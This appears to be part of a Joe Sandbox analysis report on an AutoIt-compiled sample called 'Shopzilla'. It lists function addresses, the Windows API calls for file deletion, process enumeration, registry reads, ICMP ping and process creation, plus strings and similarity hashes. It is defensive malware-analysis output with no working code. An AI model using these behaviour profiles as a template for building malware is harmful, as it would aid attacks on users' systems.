Part of subcall function 00BC01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BB2A58,?,00008000), ref: 00BC01CF

Part of subcall function 00C04E59: GetFileAttributesW.KERNELBASE(?,00C03A6B), ref: 00C04E5A

FindFirstFileW.KERNELBASE(?,?), ref: 00C03C03
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00C03CAB
MoveFileW.KERNEL32(?,?), ref: 00C03CBE
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00C03CDB
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00C03CFD
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00C03D19

Strings

\*.*, xrefs: 00C03BAE, 00C03BB7, 00C03BCC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 6d1512f2d5a42b461c5233b1172085a929f957c14e7d05e20ca17ae585ecc25d
Instruction ID: b1cb3901817ee1a0404ce6c318fdc49e359c02d5a13caf6a91c25d642cfe4207
Opcode Fuzzy Hash: 6d1512f2d5a42b461c5233b1172085a929f957c14e7d05e20ca17ae585ecc25d
Instruction Fuzzy Hash: 5D51817180014DABCF15EBA4C9669FEB7BDAF11300F604299E452B7092EF716F09DB60

Function 00BB5D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00BB5D40

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

GetCurrentProcess.KERNEL32(?,00C30A18,00000000,00000000,?), ref: 00BB5E07
IsWow64Process.KERNEL32(00000000), ref: 00BB5E0E
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00BB5E54
FreeLibrary.KERNEL32(00000000), ref: 00BB5E5F
GetSystemInfo.KERNEL32(00000000), ref: 00BB5E90
GetSystemInfo.KERNEL32(00000000), ref: 00BB5E9C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: ead1892df9f7c786bfa431f86e2f76fcf02b463a59db83f60251b6803f33dc7c
Instruction ID: cbbcac7f7d7595061cb693faa0142334f3770706bdd2317f6c89e3adb05216b7
Opcode Fuzzy Hash: ead1892df9f7c786bfa431f86e2f76fcf02b463a59db83f60251b6803f33dc7c
Instruction Fuzzy Hash: EA91B431549BC4DEC732DB7894616FABFE5AF29300B9849DDD0C693A01D270F548C76A

Function 00C03E72 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BC01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BB2A58,?,00008000), ref: 00BC01CF

Part of subcall function 00C04E59: GetFileAttributesW.KERNELBASE(?,00C03A6B), ref: 00C04E5A

FindFirstFileW.KERNELBASE(?,?), ref: 00C03EE9
DeleteFileW.KERNEL32(?,?,?,?), ref: 00C03F39
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C03F4A
FindClose.KERNEL32(00000000), ref: 00C03F61
FindClose.KERNEL32(00000000), ref: 00C03F6A

Strings

\*.*, xrefs: 00C03EBB

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 20a09b7933eedeabffca3cfbc64e398bc73ac4a2ba3ad707a93f16667d6c705b
Instruction ID: e7d730e4f89d3e7f8cc9a8b5c5b3e73b15f963a7d251670efbaf0c304d8f4bb9
Opcode Fuzzy Hash: 20a09b7933eedeabffca3cfbc64e398bc73ac4a2ba3ad707a93f16667d6c705b
Instruction Fuzzy Hash: FC316D710183859FC305EF68C8A5AEFB7ECAF91300F844E9DF4E582191DB61DA09C766

Function 00C03FB5 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00C03FDA
Process32FirstW.KERNEL32(00000000,?), ref: 00C03FE8
Process32NextW.KERNEL32(00000000,?), ref: 00C04008
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00C040B2

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: 51fccc27ed599a0a32ba3a006b34dac8ee8956013781a4d80acf81c67ff81ca0
Instruction ID: 5bbcc397743afc45820eb265d6002cbb943386c8c0be041a95fbfb8cff52297f
Opcode Fuzzy Hash: 51fccc27ed599a0a32ba3a006b34dac8ee8956013781a4d80acf81c67ff81ca0
Instruction Fuzzy Hash: 7F31C2B10083019FD304EF54C895BBFBBE8EF95344F50092DF681961E1EBB19A49CB92

Function 00BAB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00BB3740: CharUpperBuffW.USER32(?,00C661DC,00000000,?,00000000,00C661DC,?,00BA53A5,?,?,?,?), ref: 00BB375D

_memmove.LIBCMT ref: 00BAB68A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: fbe4c6ce229efcc3c94d09bedcf8db0e39f8ee8f595ea9f1610ec9ff98070384
Instruction ID: 4e749adcf4ea7a0f4ef26940c434355361fe4d266c3a4cf75b00c0f9ce5ed099
Opcode Fuzzy Hash: fbe4c6ce229efcc3c94d09bedcf8db0e39f8ee8f595ea9f1610ec9ff98070384
Instruction Fuzzy Hash: 1BA259706083419FD720DF15C484B2AB7E1FF8A704F1489ADE8AA9B352D771ED85CB92

Function 00C047B7 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00BEFC06), ref: 00C047C7
FindFirstFileW.KERNELBASE(?,?), ref: 00C047D8
FindClose.KERNEL32(00000000), ref: 00C047E8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: f0dd332eb02444a775e22088ef14c4990018c18c0e6b3b9ea6afcbafc7f930be
Instruction ID: 71e407383aa1055ae87249eec46a1e0d47b0ae3df26815d5bc1acbb8dbb93400
Opcode Fuzzy Hash: f0dd332eb02444a775e22088ef14c4990018c18c0e6b3b9ea6afcbafc7f930be
Instruction Fuzzy Hash: 62E0DF72820621AB8214673CEC4D9EF375C9E06339F200B55FA31C21E0EBB09E40C696

Function 00BA94E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b492c20b657b251941f36eaad70b06e5cf438c4e2d3bcf51d2f9f7f019dfa1f
Instruction ID: 76fd33790afd4d328c948cb99a144af34e460c0ba8c375163683e48557569b66
Opcode Fuzzy Hash: 9b492c20b657b251941f36eaad70b06e5cf438c4e2d3bcf51d2f9f7f019dfa1f
Instruction Fuzzy Hash: 1E22AF70D08215DFDB24DF58C490AAEB7F0FF5A300F1481A9E856AB351E774AD81EB91

Function 00BABC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00BABF57

Part of subcall function 00BA52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BA52E6

Sleep.KERNEL32(0000000A,?,?), ref: 00BE35E5

Strings

@TRAY_ID, xrefs: 00BE3EFD
@GUI_CTRLID, xrefs: 00BE369C
CALL, xrefs: 00BAC277
@GUI_CTRLHANDLE, xrefs: 00BE3746
@GUI_WINHANDLE, xrefs: 00BE36F1
@COM_EVENTOBJ, xrefs: 00BE3C5E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 29ca71f3882637d400e0290064d85616e7dd0c001f8ca128e26f4f0554a56aaf
Instruction ID: 1bdd31273b71225bcde405b8708af3b4297dc47ae29d3b5a4a86d2040dff33c1
Opcode Fuzzy Hash: 29ca71f3882637d400e0290064d85616e7dd0c001f8ca128e26f4f0554a56aaf
Instruction Fuzzy Hash: 78C2BE706083819FC724DF25C894BAEBBE0FF85704F14499DF59A972A2DB71E944CB82

Function 00BA33E5 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 69
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BA3444
RegisterClassExW.USER32(00000030), ref: 00BA346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BA347F
InitCommonControlsEx.COMCTL32(?), ref: 00BA349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BA34AC
LoadIconW.USER32(000000A9), ref: 00BA34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BA34D1

Strings

+, xrefs: 00BA342D
TaskbarCreated, xrefs: 00BA3474
0, xrefs: 00BA3426
AutoIt v3 GUI, xrefs: 00BA3460

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: d977f0f92d2e2ca31b0fcd89bdd030c3cbf44fc01d2479cb410a70bfcb0b0590
Instruction ID: cee09f8c94c9a096287e89a189fa48a1bcb87c31ec349029ff489e2aa9c14f7f
Opcode Fuzzy Hash: d977f0f92d2e2ca31b0fcd89bdd030c3cbf44fc01d2479cb410a70bfcb0b0590
Instruction Fuzzy Hash: 263125B2850309EFDB50DFA4E899BCDBBF4FB09320F20451AE590E62A0D7B51981CF91

Function 00BA3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BA3444
RegisterClassExW.USER32(00000030), ref: 00BA346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BA347F
InitCommonControlsEx.COMCTL32(?), ref: 00BA349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BA34AC
LoadIconW.USER32(000000A9), ref: 00BA34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BA34D1

Strings

+, xrefs: 00BA342D
TaskbarCreated, xrefs: 00BA3474
0, xrefs: 00BA3426
AutoIt v3 GUI, xrefs: 00BA3460

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 318a929a47fcb5884d04710dc4d1208298a417b9e0b57f6af56833eb27c5ae8c
Instruction ID: eb630d2149586902f2ee31f8d0a88910ef4fdc70c4759a8d0a9e1319a1824484
Opcode Fuzzy Hash: 318a929a47fcb5884d04710dc4d1208298a417b9e0b57f6af56833eb27c5ae8c
Instruction Fuzzy Hash: 5021C3B2910318AFDB509FA5E899B9DBBF4FB08710F10411AF550A72A0D7B155448F95

Function 00BB2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BBFFFA: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00BB3094), ref: 00BC0018

Part of subcall function 00BC07EC: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00BB309F), ref: 00BC080E

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00BB30E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00BF013A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00BF017B
RegCloseKey.ADVAPI32(?), ref: 00BF01B9
_wcscat.LIBCMT ref: 00BF0212

Strings

\Include\, xrefs: 00BB309F
Software\AutoIt v3\AutoIt, xrefs: 00BB30D8
\, xrefs: 00BF0235
Include, xrefs: 00BF0131, 00BF0172

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 514b9cc74a8de16fd876d51f4026c4008c5c40c54f63370f8d6ae9495930bd9b
Instruction ID: dd69665cdab845646e444cc12d9441901ce00749590362d057938bae4169bc2b
Opcode Fuzzy Hash: 514b9cc74a8de16fd876d51f4026c4008c5c40c54f63370f8d6ae9495930bd9b
Instruction Fuzzy Hash: 50717E71419305DEC724EF2AECA1AAFBBE8FF54744F400A6EF44583161DBB09948CB51

Function 00BB514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BB5156
LoadCursorW.USER32(00000000,00007F00), ref: 00BB5165
LoadIconW.USER32(00000063), ref: 00BB517C
LoadIconW.USER32(000000A4), ref: 00BB518E
LoadIconW.USER32(000000A2), ref: 00BB51A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00BB51C6
RegisterClassExW.USER32(?), ref: 00BB521C

Part of subcall function 00BA3411: GetSysColorBrush.USER32(0000000F), ref: 00BA3444
Part of subcall function 00BA3411: RegisterClassExW.USER32(00000030), ref: 00BA346E
Part of subcall function 00BA3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BA347F
Part of subcall function 00BA3411: InitCommonControlsEx.COMCTL32(?), ref: 00BA349C
Part of subcall function 00BA3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BA34AC
Part of subcall function 00BA3411: LoadIconW.USER32(000000A9), ref: 00BA34C2
Part of subcall function 00BA3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BA34D1

Strings

0, xrefs: 00BB51FA
#, xrefs: 00BB5201
AutoIt v3, xrefs: 00BB520B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: a75b57971e032f7f20d1f24f1e2627235088104cd43235a41e7d77f36c13f1db
Instruction ID: 17727f45e43976e94b08eb44c62613597369eb5477e164bbeeac43dba1bb13d3
Opcode Fuzzy Hash: a75b57971e032f7f20d1f24f1e2627235088104cd43235a41e7d77f36c13f1db
Instruction Fuzzy Hash: 54214B71D10308AFEB209FA6EC29B9DBFF4FB08714F10016AE504A62A0D7F655548F84

Function 00C15BE2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00C15C43
inet_addr.WSOCK32(?,?,?), ref: 00C15C88
gethostbyname.WS2_32(?), ref: 00C15C94
IcmpCreateFile.IPHLPAPI ref: 00C15CA2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00C15D12
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00C15D28
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00C15D9D
WSACleanup.WSOCK32 ref: 00C15DA3

Strings

Ping, xrefs: 00C15CC6

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: dc0d30954db45894d5fac98a9a40523678ad826fbe8e0b6f535c70fb58b59e9d
Instruction ID: e47c93c24d55e733fc7cdcecd49f48946164ec28bf9acdc7ff14a0b01de9955d
Opcode Fuzzy Hash: dc0d30954db45894d5fac98a9a40523678ad826fbe8e0b6f535c70fb58b59e9d
Instruction Fuzzy Hash: 4A51AC31604700DFD720EF24DD49BAA77E0EB8A710F148969F9659B2A1DB70ED819B41

Function 00BB4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00BB4E22
KillTimer.USER32(?,00000001), ref: 00BB4E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00BB4E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BB4E7A
CreatePopupMenu.USER32 ref: 00BB4E8E
PostQuitMessage.USER32(00000000), ref: 00BB4EAF

Strings

TaskbarCreated, xrefs: 00BB4E75

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 3b44401b127ef9e9a4d537a78c64fab90e21d21f7653042b9bf9caa695e69539
Instruction ID: 4efb6b359c54e1fd18822da214736988116fe3255a40db174b0976a3128e3d9a
Opcode Fuzzy Hash: 3b44401b127ef9e9a4d537a78c64fab90e21d21f7653042b9bf9caa695e69539
Instruction Fuzzy Hash: 7C41A071214209ABDF296F28DC99BFE7AD5FB45300F1402A9F502922A3DBF0EC5497A1

Function 00C1FB45 Relevance: 13.9, APIs: 9, Instructions: 386
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00C1FB66
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00C1FCF9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00C1FD1D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00C1FD5D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00C1FD7F
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00C1FEFB
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00C1FF2D
CloseHandle.KERNEL32(?), ref: 00C1FF5C
CloseHandle.KERNEL32(?), ref: 00C1FFD3

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
